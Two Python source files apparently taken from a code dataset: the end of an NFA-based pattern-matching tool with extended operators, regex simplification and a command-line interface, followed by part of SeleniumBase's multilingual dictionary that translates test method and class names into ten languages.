MatchCapture(t[3], t[1])) | ("(?s" + _m99_to_99 + ":" + expr + ")").setParseAction(lambda t: MatchShifted(t[3], t[1])) | ("(?s:" + expr + ")").setParseAction(lambda t: MatchEither(*[MatchShifted(t[1], i) for i in range(1, 26)])) | ("(?R" + _m99_to_99 + ":" + expr + ")").setParseAction(lambda t: MatchRotated(t[3], t[1])) | ("(?R<=" + _0_to_99 + ":" + expr + ")").setParseAction(lambda t: MatchEither(*[MatchRotated(t[3], i) for i in range(-t[1], t[1] + 1) if i != 0])) | ("(?S:" + expr + ")[" + Option(_m99_to_99, None) + ":" + Option(_m99_to_99, None) + Option(":" + Option(_m99_to_99, 1), 1) + "]").setParseAction( lambda t: MatchSlice(t[1], t[3], t[5], t[-2]) ) | ("(?/" + expr + "/" + expr + "/" + expr + "/" + Option("s") + ")").setParseAction( lambda t: MatchSubtractInside(t[1], t[3], proper=(t[7] == "s"), replace=t[5]) ) | ("(?&" + _id + "=" + expr + ")").setParseAction(lambda t: SUBPATTERNS.update({t[1]: t[3]}) or MatchEmpty()) | ("(?&" + _id + ")").setParseAction(lambda t: SUBPATTERNS[t[1]]) ) atom = literal | dot | nset | set | words | fsm | group item = ( (atom + "+").setParseAction( lambda t: MatchRepeated( t[0], repeat=True, ) ) | (atom + "*").setParseAction(lambda t: MatchRepeated(t[0], repeat=True, optional=True)) | (atom + "?").setParseAction(lambda t: MatchRepeated(t[0], optional=True)) | (atom + "{" + _0_to_99 + "}").setParseAction(lambda t: MatchRepeatedN(t[0], t[2], t[2])) | (atom + "{" + _0_to_99 + ",}").setParseAction(lambda t: MatchRepeatedNplus(t[0], t[2])) | (atom + "{" + _0_to_99 + "," + _0_to_99 + "}").setParseAction(lambda t: MatchRepeatedN(t[0], t[2], t[4])) | ("¬" + atom).setParseAction(lambda t: MatchDFA(t[1], negate=True)) | atom ) items = OneOrMore(item).setParseAction(lambda t: reduce(MatchAfter, t)) spatial_ops = ( # conjunction Literal(">>").setParseAction(lambda _: lambda x, y: MatchContains(x, y, proper=True)) | Literal(">").setParseAction(lambda _: lambda x, y: MatchContains(x, y, proper=False)) | Literal("<<").setParseAction(lambda _: lambda x, y: MatchContains(y, x, proper=True)) | Literal("<").setParseAction(lambda _: lambda x, y: MatchContains(y, x, proper=False)) | Literal("^^").setParseAction(lambda _: lambda x, y: MatchInterleaved(x, y, proper=True)) | Literal("^").setParseAction(lambda _: lambda x, y: MatchInterleaved(x, y, proper=False)) | Literal("##").setParseAction(lambda _: lambda x, y: MatchAlternating(x, y, ordered=True)) | Literal("#").setParseAction(lambda _: lambda x, y: MatchAlternating(x, y, ordered=False)) | # subtraction Literal("->>").setParseAction(lambda _: lambda x, y: MatchSubtractInside(x, y, proper=True)) | Literal("->").setParseAction(lambda _: lambda x, y: MatchSubtractInside(x, y, proper=False)) | Literal("-<<").setParseAction(lambda _: lambda x, y: MatchSubtractOutside(x, y, proper=True)) | Literal("-<").setParseAction(lambda _: lambda x, y: MatchSubtractOutside(x, y, proper=False)) | Literal("-##").setParseAction(lambda _: lambda x, y: MatchSubtractAlternating(x, y, ordered=True, from_right=True)) | Literal("_-##").setParseAction(lambda _: lambda x, y: MatchSubtractAlternating(x, y, ordered=True, from_right=False)) | Literal("-#").setParseAction(lambda _: lambda x, y: MatchSubtractAlternating(x, y, ordered=False)) | Literal("-^^").setParseAction(lambda _: lambda x, y: MatchSubtractInterleaved(x, y, proper=True, from_right=True)) | Literal("_-^^").setParseAction(lambda _: lambda x, y: MatchSubtractInterleaved(x, y, proper=True, from_right=False)) | Literal("-^").setParseAction(lambda _: lambda x, y: MatchSubtractInterleaved(x, y, proper=False)) | Literal("-").setParseAction(lambda _: lambda x, y: MatchSubtract(x, y, from_right=True, negate=False)) | Literal("_-").setParseAction(lambda _: lambda x, y: MatchSubtract(x, y, from_right=False, negate=False)) ) expr <<= infixNotation( items, [ ("&", 2, opAssoc.LEFT, lambda t: reduce(MatchBoth, t[0][::2])), (spatial_ops, 2, opAssoc.LEFT, lambda t: op_reduce(t[0])), ("|", 2, opAssoc.LEFT, lambda t: MatchEither(*t[0][::2])), ], ) # Regex reconstructions class Regex(ABC): @abstractmethod def members(self) -> Any: """Members, used for equality testing and hashing.""" @abstractmethod def to_string(self) -> str: """Regex string representation.""" @abstractmethod def to_repr(self) -> str: """Debug string representation.""" @abstractmethod def min_length(self) -> float: """Minimum match length (-inf for no match).""" @abstractmethod def max_length(self) -> float: """Maximum match length (-inf for no match, inf for infinite).""" @abstractmethod def first_character(self, from_end: bool = False) -> "Regex": """A Regex describing the first (or last) matching character.""" def __repr__(self): return f"{self.to_string()}" def __eq__(self, other): if type(other) is type(self): return self.members() == other.members() elif isinstance(other, Regex): return False else: return NotImplemented def __hash__(self): return hash((type(self), self.members())) def __add__(self, other): if isinstance(other, Regex): return RegexConcat((self, other)) else: return NotImplemented def __or__(self, other): if isinstance(other, Regex): return RegexUnion((self, other)) else: return NotImplemented class RegexChars(Regex): chars: str def __new__(cls, chars): # [] = ∅ if not chars: return RegexUnion() obj = super().__new__(cls) obj.chars = "".join(sorted(set(chars))) return obj def members(self): return self.chars def to_string(self): return char_class(self.chars, negated=False) def to_repr(self): return f"Chars[{self.chars}]" def min_length(self): return 1 def max_length(self): return 1 def first_character(self, from_end: bool = False) -> Regex: return self class RegexNegatedChars(Regex): def __init__(self, chars): self.chars = "".join(sorted(set(chars))) def members(self): return self.chars def to_string(self): return char_class(self.chars, negated=True) def to_repr(self): return f"NChars[{self.chars}]" def min_length(self): return 1 def max_length(self): return 1 def first_character(self, from_end: bool = False) -> Regex: return self class RegexStar(Regex): regex: Regex def __new__(cls, regex: Regex): # ε* = ε if regex == RegexConcat(): return regex # (A*)* = A* elif isinstance(regex, RegexStar): return regex # (ε|A|B|C)* = (A|B|C)* if isinstance(regex, RegexUnion) and RegexConcat() in regex.regexes: regex = RegexUnion(r for r in regex.regexes if r != RegexConcat()) # (A*B*C*)* = (A|B|C)* if isinstance(regex, RegexConcat) and all(isinstance(r, RegexStar) for r in regex.regexes): regex = RegexUnion(cast(RegexStar, r).regex for r in regex.regexes) if isinstance(regex, RegexUnion): regexes = set(regex.regexes) for r in list(regexes): # (A*|B|C)* = (A|B|C)* if isinstance(r, RegexStar): regexes.remove(r) r = r.regex regexes.add(r) # (A|B|C)* = (B|C)* if A => B* if any(regex_implies(r, RegexStar(s)) for s in regexes - {r}): regexes.remove(r) regex = RegexUnion(regexes) # (ABC)* = B* if all(ABC => B*) if isinstance(regex, RegexConcat): for r in regex.regexes: star = RegexStar(r) if all(regex_implies(s, star) for s in regex.regexes): regex = r break obj = super().__new__(cls) obj.regex = regex return obj def members(self): return self.regex def to_string(self): return f"{self.regex}*" def to_repr(self): return f"Star[{self.regex.to_repr()}]" def min_length(self): return 0 def max_length(self): return 0 if self.regex.max_length() == 0 else math.inf def first_character(self, from_end: bool = False) -> Regex: return RegexConcat() | self.regex.first_character(from_end) class RegexUnion(Regex): regexes: FrozenSet[Regex] def __new__(cls, regexes: Iterable[Regex] = ()): # (A|(B|C)|D)=(A|B|C|D) regexes = {s for x in (r.regexes if isinstance(r, RegexUnion) else [r] for r in regexes) for s in x} # A|B|C = B|C if A=>B for r in list(regexes): if any(regex_implies(r, s) for s in regexes - {r}): regexes.remove(r) # ([^ab]|[ac]|C) = ([^b]|C) if any(isinstance(r, RegexNegatedChars) for r in regexes): nchars = RegexNegatedChars( set.intersection(*[set(r.chars) for r in regexes if isinstance(r, RegexNegatedChars)]) - {c for r in regexes if isinstance(r, RegexChars) for c in r.chars} ) regexes -= {r for r in regexes if isinstance(r, RegexNegatedChars) or isinstance(r, RegexChars)} if not any(regex_implies(nchars, s) for s in regexes): regexes.add(nchars) # ([ab]|[ac]|C) = ([abc]|C) elif any(isinstance(r, RegexChars) for r in regexes): chars = RegexChars({c for r in regexes if isinstance(r, RegexChars) for c in r.chars}) regexes -= {r for r in regexes if isinstance(r, RegexChars)} if not any(regex_implies(chars, s) for s in regexes): regexes.add(chars) # AB|AC|D = A(B|C|ε) prefix = first(first(r.regexes) for r in regexes if isinstance(r, RegexConcat)) if prefix and all(isinstance(r, RegexConcat) and first(r.regexes) == prefix or r == prefix for r in regexes): stripped = {RegexConcat(r.regexes[1:]) if isinstance(r, RegexConcat) else RegexConcat() for r in regexes} return RegexConcat((prefix, RegexUnion(stripped))) # BA|CA|DA = (B|C|ε)A suffix = first(r.regexes[-1] for r in regexes if isinstance(r, RegexConcat) and r.regexes) if suffix and all(isinstance(r, RegexConcat) and r.regexes and r.regexes[-1] == suffix or r == suffix for r in regexes): stripped = {RegexConcat(r.regexes[:-1]) if isinstance(r, RegexConcat) else RegexConcat() for r in regexes} return RegexConcat((RegexUnion(stripped), suffix)) # AA*|ε = A*|ε if any(r.min_length() == 0 for r in regexes): for r in { r for r in regexes if isinstance(r, RegexConcat) and len(r.regexes) == 2 and isinstance(r.regexes[-1], RegexStar) and r.regexes[0] == r.regexes[-1].regex }: regexes.remove(r) regexes.add(r.regexes[-1]) if RegexConcat() in regexes: regexes.remove(RegexConcat()) # (A)=A if len(regexes) == 1: return first(regexes) obj = super().__new__(cls) obj.regexes = frozenset(regexes) return obj def members(self): return self.regexes def to_string(self): if not self.regexes: return "∅" rs = [r for r in self.regexes if r != RegexConcat()] ss = [re.sub(r"^\((.*)\)$", r"\1", str(r)) for r in rs] unbracketed = len(rs) == 1 and (isinstance(rs[0], RegexChars) or isinstance(rs[0], RegexNegatedChars)) return ("{}{}" if unbracketed else "({}){}").format("|".join(ss), "?" * (RegexConcat() in self.regexes)) def to_repr(self): subrepr = ", ".join(r.to_repr() for r in self.regexes) return f"Union[{subrepr}]" def min_length(self): return -math.inf if not self.regexes else min([r.min_length() for r in self.regexes]) def max_length(self): return -math.inf if not self.regexes else max([r.max_length() for r in self.regexes]) def first_character(self, from_end: bool = False) -> Regex: return RegexUnion(r.first_character(from_end) for r in self.regexes) class RegexConcat(Regex): regexes: Tuple[Regex] def __new__(cls, regexes: Iterable[Regex] = ()): # (A∅B) = ∅ if any(r == RegexUnion() for r in regexes): return RegexUnion() # (A(BC)D) = (ABCD) regexes = [s for x in (r.regexes if isinstance(r, RegexConcat) else [r] for r in regexes) for s in x] # peephole optimizer while True: # A* A = A A* (canonical form) i = first(i for i in range(len(regexes) - 1) if isinstance(regexes[i], RegexStar) and cast(RegexStar, regexes[i]).regex == regexes[i + 1]) if i is not None: regexes[i], regexes[i + 1] = regexes[i + 1], regexes[i] continue # A* B* = A* if A => B i = first( i for i in range(len(regexes) - 1) if isinstance(regexes[i], RegexStar) and isinstance(regexes[i + 1], RegexStar) and regex_implies(cast(RegexStar, regexes[i]).regex, cast(RegexStar, regexes[i + 1]).regex) ) if i is not None: del regexes[i] continue # A* B* = B* if B => A i = first( i for i in range(len(regexes) - 1) if isinstance(regexes[i], RegexStar) and isinstance(regexes[i + 1], RegexStar) and regex_implies(cast(RegexStar, regexes[i + 1]).regex, cast(RegexStar, regexes[i]).regex) ) if i is not None: del regexes[i + 1] continue # nothing left to optimize break # (A) = A if len(regexes) == 1: return first(regexes) obj = super().__new__(cls) obj.regexes = tuple(regexes) return obj def members(self): return self.regexes def to_string(self): ss = [str(r) for r in self.regexes] while True: # replace A A* with A+ i = first(i for i in range(len(ss) - 1) if ss[i] + "*" == ss[i + 1]) if i is not None: ss[i + 1] = ss[i + 1][:-1] + "+" del ss[i] continue break return ".{0}" if not self.regexes else "({})".format("".join(ss)) def to_repr(self): subrepr = ", ".join(r.to_repr() for r in self.regexes) return f"Concat[{subrepr}]" def min_length(self): return sum(r.min_length() for r in self.regexes) def max_length(self): return sum(r.max_length() for r in self.regexes) def first_character(self, from_end: bool = False) -> Regex: fc = RegexUnion() for r in self.regexes[:: -1 if from_end else 1]: fcr = r.first_character(from_end) if isinstance(fcr, RegexUnion) and RegexConcat() in fcr.regexes: fc = RegexUnion([fc, *[r for r in fcr.regexes if r != RegexConcat()]]) else: fc |= fcr break else: fc |= RegexConcat() return fc @lru_cache(maxsize=None) def regex_implies(a: Regex, b: Regex) -> bool: """Whether one regex implies the other.""" # A < B if a == b: return True # [ab] < [abc] if isinstance(a, RegexChars) and isinstance(b, RegexChars): return set(a.chars) <= set(b.chars) # [ab] < [^cd] elif isinstance(a, RegexChars) and isinstance(b, RegexNegatedChars): return not (set(a.chars) & set(b.chars)) # [^ab] < [^a] elif isinstance(a, RegexNegatedChars) and isinstance(b, RegexNegatedChars): return set(a.chars) >= set(b.chars) # [^...] !< [...] elif isinstance(a, RegexNegatedChars) and isinstance(b, RegexChars): return False # ε < A* elif a == RegexConcat() and isinstance(b, RegexStar): return True # A* < B* iff A < B elif isinstance(a, RegexStar) and isinstance(b, RegexStar): return regex_implies(a.regex, b.regex) # A|B|C < D iff all(ABC < D) elif isinstance(a, RegexUnion): return all(regex_implies(r, b) for r in a.regexes) # A < B|C|D iff any(A < BCD) elif isinstance(b, RegexUnion): return any(regex_implies(a, r) for r in b.regexes) # A < B* if A < B elif isinstance(b, RegexStar) and regex_implies(a, b.regex): return True # ABC < D* if all(A < D) elif isinstance(a, RegexConcat) and isinstance(b, RegexStar) and all(regex_implies(r, b) for r in a.regexes): return True # incompatible length elif a.min_length() < b.min_length() or a.max_length() > b.max_length(): return False # incompatible first characters elif not regex_implies(a.first_character(), b.first_character()): return False # incompatible last characters elif not regex_implies(a.first_character(from_end=True), b.first_character(from_end=True)): return False # the slow way using FMSs if SLOW_SIMPLIFICATION: try: ans = Pattern(f"¬(¬({a})|{b})").nfa.min_length() is None logger.debug("%s =%s=> %s", a, "=" if ans else "/", b) return ans except ParseException: # currently doesn't work with e.g. emoji injected via \f or \w 🙁 warnings.warn("Cannot fully simplify regular expression due to non-Latin characters", UnicodeWarning) return False return False def regex(pattern: str) -> Regex: """Generate a Regex object directly from basic regular expression syntax. Useful for testing.""" from pyparsing import Forward, Literal, OneOrMore, ParserElement, Word, infixNotation, nums, opAssoc ParserElement.setDefaultWhitespaceChars("") ParserElement.enablePackrat() _0_to_99 = Word(nums, min=1, max=2).setParseAction(lambda t: int("".join(t[0]))) printables = ppu.Latin1.printables + " " + EXTRA_PRINTABLES literal_exclude = r"()+*.?{}^|$\[]" set_exclude = r"\]" literal = Word(printables, excludeChars=literal_exclude, exact=1).setParseAction(lambda t: RegexChars(t[0])) dot = Literal(".").setParseAction(lambda t: RegexNegatedChars("")) nset = ("[^" + Word(printables, excludeChars=set_exclude, min=1) + "]").setParseAction(lambda t: RegexNegatedChars(srange(f"[{t[1]}]"))) set = ("[" + Word(printables, excludeChars=set_exclude, min=1) + "]").setParseAction(lambda t: RegexChars(srange(f"[{t[1]}]"))) expr = Forward() group = ("(" + expr + ")").setParseAction(lambda t: t[1]) atom = literal | dot | nset | set | group item = ( (atom + "*").setParseAction(lambda t: RegexStar(t[0])) | (atom + "+").setParseAction(lambda t: t[0] + RegexStar(t[0])) | (atom + "?").setParseAction(lambda t: RegexConcat() | t[0]) | (atom + "{" + _0_to_99 + "}").setParseAction(lambda t: RegexConcat([t[0]] * t[2])) | (atom + "{" + _0_to_99 + ",}").setParseAction(lambda t: RegexConcat([t[0]] * t[2]) + RegexStar(t[0])) | atom ) items = OneOrMore(item).setParseAction(lambda t: RegexConcat(t)) expr <<= infixNotation(items, [("|", 2, opAssoc.LEFT, lambda t: RegexUnion(t[0][::2]))]) return expr.parseString(pattern, parseAll=True)[0] def main() -> None: parser = argparse.ArgumentParser( description=r"""NFA-based pattern matcher supporting novel spatial conjunction and modifiers. Supported syntax: CHARACTERS - a character literal - . wildcard character - [abc] character class - [a-z] character range - [^abc] negated character class LOGICAL OPERATORS - P|Q P or Q - ¬P not P - P&Q P and Q - (P) scope and precedence QUANTIFIERS - P? 0 or 1 occurences - P* 0 or more occurences - P+ 1 or more occurences - P{n} n occurences - P{n,} n or more occurences - P{m,n} m to n occurences SEPARATING OPERATORS - PQ concatenation - P<Q P inside Q - P<<Q P strictly inside Q - P>Q P outside Q - P>>Q P strictly outside Q - P^Q P interleaved with Q - P^^Q P interleaved inside Q - P#Q P alternating with Q - P##Q P alternating before Q SUBTRACTION OPERATORS - P-Q subtraction on right - P_-Q subtraction on left - P->Q subtraction inside - P->>Q subtraction strictly inside - P-<Q subtraction outside - P-<<Q subtraction strictly outside - P-#Q subtraction alternating - P-##Q subtraction alternating after - P_-##Q subtraction alternating before - P-^Q subtraction interleaved - P-^^Q subtraction interleaved inside - P_-^^Q subtraction interleaved outside OTHER MODIFIERS - (?i:P) case-insensitive match - (?r:P) reversed match - (?sn:P) cipher-shifted by n characters - (?s:P) cipher-shifted by 1 to 25 characters - (?Rn:P) rotated by n characters right - (?R<=n:P) rotated by 1 to n characters left or right - (?S:P)[m:n] sliced match - (?S:P)[m:n:s] sliced match with step - (?/P/Q/R/) replace Q inside P by R - (?/P/Q/R/s) replace Q strictly inside P by R - (?D:P) convert NFA to DFA - (?M:P) convert NFA to minimal DFA REFERENCES - (?<ID>P) define submatch capture group - (?&ID=P) define subpattern for subsequent use - (?&ID) use subpattern - \w match word from dictionary file - \f match FSM from external file """, formatter_class=argparse.RawTextHelpFormatter, ) parser.add_argument("pattern", type=str, help="pattern to compile") parser.add_argument("files", type=str, nargs="*", help="filenames to search") parser.add_argument("-d", dest="dict", metavar="PATH", type=str, help="dictionary file to use for \\w", default=None) parser.add_argument("-f", dest="fsm", metavar="PATH", type=str, help="FSM file to use for \\f", default=None) parser.add_argument("-D", dest="DFA", action="store_true", help="convert NFA to DFA", default=None) parser.add_argument("-M", dest="min", action="store_true", help="convert NFA to minimal DFA ", default=None) parser.add_argument("-i", dest="case_insensitive", action="store_true", help="case insensitive match") parser.add_argument("-v", dest="invert", action="store_true", help="invert match") parser.add_argument("-s", dest="svg", metavar="NAME", default=None, help="save FSM image and description") parser.add_argument("-c", dest="console", action="store_true", help="save FSM image for console") parser.add_argument("-C", dest="compact", action="store_true", help="compact start/end nodes in FSM image") parser.add_argument("-x", dest="example", action="store_true", help="generate an example matching string") parser.add_argument("-r", dest="regex", action="store_true", help="generate a standard equivalent regex") parser.add_argument("-b", dest="bounds", action="store_true", help="generate lexicographic match bounds") group = parser.add_mutually_exclusive_group() group.add_argument("-X", dest="examples_only", metavar="N", type=int, help="output N example matches and quit") group.add_argument("-R", dest="regex_only", action="store_true", help="output a standard equivalent regex and quit") args = parser.parse_args() global DICTIONARY_FSM, EXPLICIT_FSM, SLOW_SIMPLIFICATION if args.examples_only is not None or args.regex_only: logger.setLevel(logging.ERROR) warnings.simplefilter("ignore") SLOW_SIMPLIFICATION = False if args.dict: logger.info(f"Compiling dictionary from '{args.dict}'") DICTIONARY_FSM = MatchDictionary(Path(args.dict)) if args.fsm: logger.info(f"Compiling FSM from '{args.fsm}'") EXPLICIT_FSM = ExplicitFSM(Path(args.fsm)) pattern = args.pattern if args.case_insensitive: pattern = f"(?i:{pattern})" if args.invert: pattern = f"!({pattern})" if args.min: pattern = f"(?M:{pattern})" elif args.DFA: pattern = f"(?D:{pattern})" logger.info(f"Compiling pattern '{pattern}'") pattern = Pattern(pattern) if args.examples_only is not None: for _ in range(args.examples_only): print(pattern.example()) return if args.regex_only: regex = pattern.nfa.regex() regex_repr = "$." if regex == RegexUnion() else "^$" if regex == RegexConcat() else f"^{regex}$" print(regex_repr) return if args.svg: logger.info(f"Rendering NFA diagram to '{args.svg}.dot.svg'") pattern.nfa.render(args.svg, compact=args.compact) pattern.nfa.save(args.svg, renumber_states=not DEBUG) if args.console: logger.info(f"Rendering NFA console diagram to 'console.dot.svg'") pattern.nfa.render("fsm_console", console=True, compact=args.compact) if args.example: logger.info(f"Example match: {pattern.example()!r}") if args.bounds: logger.info(f"Match bounds: {pattern.nfa.bound(True, 10)!r} to {pattern.nfa.bound(False, 10)!r}") if args.regex: regex = pattern.nfa.regex() regex_repr = "$." if regex == RegexUnion() else "^$" if regex == RegexConcat() else f"^{regex}$" logger.info(f"Equivalent regex: {regex_repr}") min_length = regex.min_length() max_length = regex.max_length() if min_length == -math.inf: lengths = None elif min_length == max_length: lengths = min_length elif max_length == math.inf: lengths = f"{min_length}+" else: lengths = f"{min_length}-{max_length}" logger.info(f"Match lengths: {lengths}") for file in args.files: logger.info(f"Matching pattern against '{file}'") with open(file, "r", encoding="utf-8") as f: for w in f: word = w.rstrip("\n") match = pattern.match(word) if match is not None: if match: print(f"{word} ({', '.join(f'{k}={v}' for k,v in sorted(match.items()))})", flush=True) else: print(word, flush=True) if __name__ == "__main__": main()
codeparrot/github-code-clean
# -*- coding: utf-8 -*- """ Master Dictionary Translations 0: English 1: Chinese 2: Dutch 3: French 4: Italian 5: Japanese 6: Korean 7: Portuguese 8: Russian 9: Spanish """ class MD_F: # Master Dictionary Functions def get_languages_list(): languages = [] languages.append("English") languages.append("Chinese") languages.append("Dutch") languages.append("French") languages.append("Italian") languages.append("Japanese") languages.append("Korean") languages.append("Portuguese") languages.append("Russian") languages.append("Spanish") return languages def get_parent_classes_list(): parent_classes = [] parent_classes.append("BaseCase") parent_classes.append("硒测试用例") parent_classes.append("Testgeval") parent_classes.append("CasDeBase") parent_classes.append("CasoDiProva") parent_classes.append("セレニウムテストケース") parent_classes.append("셀레늄_테스트_케이스") parent_classes.append("CasoDeTeste") parent_classes.append("ТестНаСелен") parent_classes.append("CasoDePrueba") return parent_classes def get_masterqa_parent_classes_list(): parent_classes = [] parent_classes.append("MasterQA") parent_classes.append("MasterQA_中文") parent_classes.append("MasterQA_Nederlands") parent_classes.append("MasterQA_Français") parent_classes.append("MasterQA_Italiano") parent_classes.append("MasterQA_日本語") parent_classes.append("MasterQA_한국어") parent_classes.append("MasterQA_Português") parent_classes.append("MasterQA_Русский") parent_classes.append("MasterQA_Español") return parent_classes def get_parent_class_lang(parent_class): parent_class_lang = {} parent_class_lang["BaseCase"] = "English" parent_class_lang["硒测试用例"] = "Chinese" parent_class_lang["Testgeval"] = "Dutch" parent_class_lang["CasDeBase"] = "French" parent_class_lang["CasoDiProva"] = "Italian" parent_class_lang["セレニウムテストケース"] = "Japanese" parent_class_lang["셀레늄_테스트_케이스"] = "Korean" parent_class_lang["CasoDeTeste"] = "Portuguese" parent_class_lang["ТестНаСелен"] = "Russian" parent_class_lang["CasoDePrueba"] = "Spanish" if parent_class not in parent_class_lang.keys(): raise Exception("Invalid parent_class {%s} not in {%s}!" "" % (parent_class, parent_class_lang.keys())) return parent_class_lang[parent_class] def get_mqa_par_class_lang(parent_class): parent_class_lang = {} parent_class_lang["MasterQA"] = "English" parent_class_lang["MasterQA_中文"] = "Chinese" parent_class_lang["MasterQA_Nederlands"] = "Dutch" parent_class_lang["MasterQA_Français"] = "French" parent_class_lang["MasterQA_Italiano"] = "Italian" parent_class_lang["MasterQA_日本語"] = "Japanese" parent_class_lang["MasterQA_한국어"] = "Korean" parent_class_lang["MasterQA_Português"] = "Portuguese" parent_class_lang["MasterQA_Русский"] = "Russian" parent_class_lang["MasterQA_Español"] = "Spanish" if parent_class not in parent_class_lang.keys(): raise Exception("Invalid parent_class {%s} not in {%s}!" "" % (parent_class, parent_class_lang.keys())) return parent_class_lang[parent_class] def get_lang_parent_class(language): lang_parent_class = {} lang_parent_class["English"] = "BaseCase" lang_parent_class["Chinese"] = "硒测试用例" lang_parent_class["Dutch"] = "Testgeval" lang_parent_class["French"] = "CasDeBase" lang_parent_class["Italian"] = "CasoDiProva" lang_parent_class["Japanese"] = "セレニウムテストケース" lang_parent_class["Korean"] = "셀레늄_테스트_케이스" lang_parent_class["Portuguese"] = "CasoDeTeste" lang_parent_class["Russian"] = "ТестНаСелен" lang_parent_class["Spanish"] = "CasoDePrueba" if language not in lang_parent_class.keys(): raise Exception("Invalid language {%s} not in {%s}!" "" % (language, lang_parent_class.keys())) return lang_parent_class[language] def get_mqa_lang_par_class(language): lang_parent_class = {} lang_parent_class["English"] = "MasterQA" lang_parent_class["Chinese"] = "MasterQA_中文" lang_parent_class["Dutch"] = "MasterQA_Nederlands" lang_parent_class["French"] = "MasterQA_Français" lang_parent_class["Italian"] = "MasterQA_Italiano" lang_parent_class["Japanese"] = "MasterQA_日本語" lang_parent_class["Korean"] = "MasterQA_한국어" lang_parent_class["Portuguese"] = "MasterQA_Português" lang_parent_class["Russian"] = "MasterQA_Русский" lang_parent_class["Spanish"] = "MasterQA_Español" if language not in lang_parent_class.keys(): raise Exception("Invalid language {%s} not in {%s}!" "" % (language, lang_parent_class.keys())) return lang_parent_class[language] def get_import_line(language): import_line = {} # - The Default Import Line: import_line["English"] = ( "from seleniumbase import BaseCase") # - Translated Import Lines: import_line["Chinese"] = ( "from seleniumbase.translate.chinese import 硒测试用例") import_line["Dutch"] = ( "from seleniumbase.translate.dutch import Testgeval") import_line["French"] = ( "from seleniumbase.translate.french import CasDeBase") import_line["Italian"] = ( "from seleniumbase.translate.italian import CasoDiProva") import_line["Japanese"] = ( "from seleniumbase.translate.japanese import セレニウムテストケース") import_line["Korean"] = ( "from seleniumbase.translate.korean import 셀레늄_테스트_케이스") import_line["Portuguese"] = ( "from seleniumbase.translate.portuguese import CasoDeTeste") import_line["Russian"] = ( "from seleniumbase.translate.russian import ТестНаСелен") import_line["Spanish"] = ( "from seleniumbase.translate.spanish import CasoDePrueba") if language not in import_line.keys(): raise Exception("Invalid language {%s} not in {%s}!" "" % (language, import_line.keys())) return import_line[language] def get_mqa_im_line(language): import_line = {} # - The Default Import Line: import_line["English"] = ( "from seleniumbase import MasterQA") # - Translated Import Lines: import_line["Chinese"] = ( "from seleniumbase.translate.chinese import MasterQA_中文") import_line["Dutch"] = ( "from seleniumbase.translate.dutch import MasterQA_Nederlands") import_line["French"] = ( "from seleniumbase.translate.french import MasterQA_Français") import_line["Italian"] = ( "from seleniumbase.translate.italian import MasterQA_Italiano") import_line["Japanese"] = ( "from seleniumbase.translate.japanese import MasterQA_日本語") import_line["Korean"] = ( "from seleniumbase.translate.korean import MasterQA_한국어") import_line["Portuguese"] = ( "from seleniumbase.translate.portuguese import MasterQA_Português") import_line["Russian"] = ( "from seleniumbase.translate.russian import MasterQA_Русский") import_line["Spanish"] = ( "from seleniumbase.translate.spanish import MasterQA_Español") if language not in import_line.keys(): raise Exception("Invalid language {%s} not in {%s}!" "" % (language, import_line.keys())) return import_line[language] def get_locale_code(language): locale_codes = {} locale_codes["English"] = "en" locale_codes["Chinese"] = "zh" locale_codes["Dutch"] = "nl" locale_codes["French"] = "fr" locale_codes["Italian"] = "it" locale_codes["Japanese"] = "ja" locale_codes["Korean"] = "ko" locale_codes["Portuguese"] = "pt" locale_codes["Russian"] = "ru" locale_codes["Spanish"] = "es" if language not in locale_codes.keys(): raise Exception("Invalid language {%s} not in {%s}!" "" % (language, locale_codes.keys())) return locale_codes[language] def get_locale_list(): locale_list = [] locale_list.append("en") locale_list.append("zh") locale_list.append("nl") locale_list.append("fr") locale_list.append("it") locale_list.append("ja") locale_list.append("ko") locale_list.append("pt") locale_list.append("ru") locale_list.append("es") return locale_list class MD_L_Codes: # Master Dictionary Language Codes lang = {} lang["English"] = 0 lang["Chinese"] = 1 lang["Dutch"] = 2 lang["French"] = 3 lang["Italian"] = 4 lang["Japanese"] = 5 lang["Korean"] = 6 lang["Portuguese"] = 7 lang["Russian"] = 8 lang["Spanish"] = 9 class MD: # Master Dictionary md = {} num_langs = len(MD_L_Codes.lang) md["open"] = ["*"] * num_langs md["open"][0] = "open" md["open"][1] = "开启" md["open"][2] = "openen" md["open"][3] = "ouvrir" md["open"][4] = "apri" md["open"][5] = "を開く" md["open"][6] = "열기" md["open"][7] = "abrir" md["open"][8] = "открыть" md["open"][9] = "abrir" md["open_url"] = ["*"] * num_langs md["open_url"][0] = "open_url" md["open_url"][1] = "开启网址" md["open_url"][2] = "url_openen" md["open_url"][3] = "ouvrir_url" md["open_url"][4] = "apri_url" md["open_url"][5] = "URLを開く" md["open_url"][6] = "URL_열기" md["open_url"][7] = "abrir_url" md["open_url"][8] = "открыть_URL" md["open_url"][9] = "abrir_url" md["click"] = ["*"] * num_langs md["click"][0] = "click" md["click"][1] = "单击" md["click"][2] = "klik" md["click"][3] = "cliquer" md["click"][4] = "fare_clic" md["click"][5] = "クリックして" md["click"][6] = "클릭" md["click"][7] = "clique" md["click"][8] = "нажмите" md["click"][9] = "haga_clic" md["double_click"] = ["*"] * num_langs md["double_click"][0] = "double_click" md["double_click"][1] = "双击" md["double_click"][2] = "dubbelklik" md["double_click"][3] = "double_cliquer" md["double_click"][4] = "doppio_clic" md["double_click"][5] = "ダブルクリックして" md["double_click"][6] = "더블_클릭" md["double_click"][7] = "clique_duas_vezes" md["double_click"][8] = "дважды_нажмите" md["double_click"][9] = "doble_clic" md["slow_click"] = ["*"] * num_langs md["slow_click"][0] = "slow_click" md["slow_click"][1] = "慢单击" md["slow_click"][2] = "klik_langzaam" md["slow_click"][3] = "cliquer_lentement" md["slow_click"][4] = "clic_lentamente" md["slow_click"][5] = "ゆっくりクリックして" md["slow_click"][6] = "천천히_클릭" md["slow_click"][7] = "clique_devagar" md["slow_click"][8] = "нажмите_медленно" md["slow_click"][9] = "clic_lentamente" md["click_if_visible"] = ["*"] * num_langs md["click_if_visible"][0] = "click_if_visible" md["click_if_visible"][1] = "如果可见请单击" md["click_if_visible"][2] = "klik_indien_zichtbaar" md["click_if_visible"][3] = "cliquer_si_affiché" md["click_if_visible"][4] = "clic_se_visto" md["click_if_visible"][5] = "表示されている場合はクリック" md["click_if_visible"][6] = "보이는_경우_클릭" md["click_if_visible"][7] = "clique_se_está_visível" md["click_if_visible"][8] = "нажмите_если_виден" md["click_if_visible"][9] = "clic_si_está_muestra" md["click_link_text"] = ["*"] * num_langs md["click_link_text"][0] = "click_link_text" md["click_link_text"][1] = "单击链接文本" 